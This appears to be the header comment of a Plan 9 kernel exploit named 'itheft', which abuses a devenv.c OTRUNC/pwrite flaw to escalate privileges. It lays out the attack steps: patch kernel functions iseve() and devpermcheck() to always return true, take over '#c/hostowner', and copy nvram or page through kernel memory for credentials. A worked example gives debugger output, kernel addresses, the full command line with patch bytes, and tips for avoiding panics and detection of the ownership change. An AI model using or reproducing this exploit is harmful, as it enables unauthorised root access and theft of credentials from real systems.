/* !!! DO NOT DISTRIBUTE !!! */

/* identity theft
 *
 * this exploit uses my devenv.c OTRUNC/pwrite vulnerability
 * to overwrite specific kernel addresses to help elevate our
 * privileges. this exploit is *very* picky, so you *must*
 * understand the plan9 kernel and know what you are
 * doing, though a best-practice usage example will
 * guide new users.
 *
 * the exploit process is:
 *	1) determine the user we're running as
 *	2) determine the hostowner for the server
 *	3) overwrite specific kernel addresses
 *	4) write our username to  '#c/hostowner'
 *	5) steal credentials by copying nvram or paging
 *		through kernel memory for resident creds
 *	6) reset previously overwritten functions
 *	7) write the original username back to '#c/hostowner'
 *
 * a best practice usage example is to overwrite iseve() so
 * the kernel is tricked into thinking we're the host owner.
 * secondly, we can overwrite devpermcheck() to trick the
 * kernel into thinking we have permissions to access any
 * given in-kernel device file. this will give us immediate
 * access to things like /srv/fscons and '#S/sdC0/nvram'.
 *
 * to get the address you want to overwrite, use the plan9
 * debugger after you figure out which kernel the system
 * is booting:
 *
 * cpu% acid /386/9pccpu
 * /386/9pccpu:386 plan 9 boot image
 *
 * /sys/lib/acid/port
 * /sys/lib/acid/386
 * acid: print(iseve)
 * 0xf018d3db
 * acid: mem(iseve, "X")
 * 0x8b0cec83
 * acid: print(devpermcheck)
 * 0xf0192a6b
 * acid: mem(devpermcheck, "X")
 * 0x8b14ec83
 * acid: ^D
 * cpu% ./itheft -n -o nvram.img -s 0,1024 \
 *	-k 0xf018d3db,83ec0c8b,31c040c3 \
 *	-k 0xf0192a6b,83ec148b,31c040c3
 *
 * as you can see, we overwrite the function addresses in
 * kmem with:
 *
 *	xorl %eax, %eax
 *	incl %eax
 *	retl
 *
 * a note on exploit effects.
 * when we overwrite '#c/hostowner', the kernel
 * automatically changes all processes owned by the
 * previous hostowner id to the new id. when the exploit
 * has obtained the target information from the kernel, it
 * will write the previous hostowner id to '#c/hostowner'.
 * since *your* id was now just the hostowner id, this
 * second write will alter *your* bin/rc instance's owner
 * to the id of the original hostowner. this may seem
 * desirable, however it isn't. the reason is that despite
 * having access to the hostowner's name, we don't have
 * access to the hostowner's credentials. thus, access to
 * their files and factotum is still disabled.
 *
 * therefore, it's best to immediately exit your CPU shell
 * once the exploit is finished.
 *
 * lastly, when using a target of Tmem, expect a kernel
 * panic when you trigger a page fault with a bad address.
 * make sure you define an appropriate base and ceiling
 * when paging through memory.
 *
 * NB: it'd be nice to have a memory disclosure exploit that's
 * as reliable as this one to help verify whether or not the
 * kernel addresses are as expected (whether or not we've
 * ran bin/acid on the appropriate kernel and obtained the
 * correct kernel addresses)

 * you say you'd like to see me try
 * you pick the place and I'll choose the time
 * and I'll climb the hill in my own way
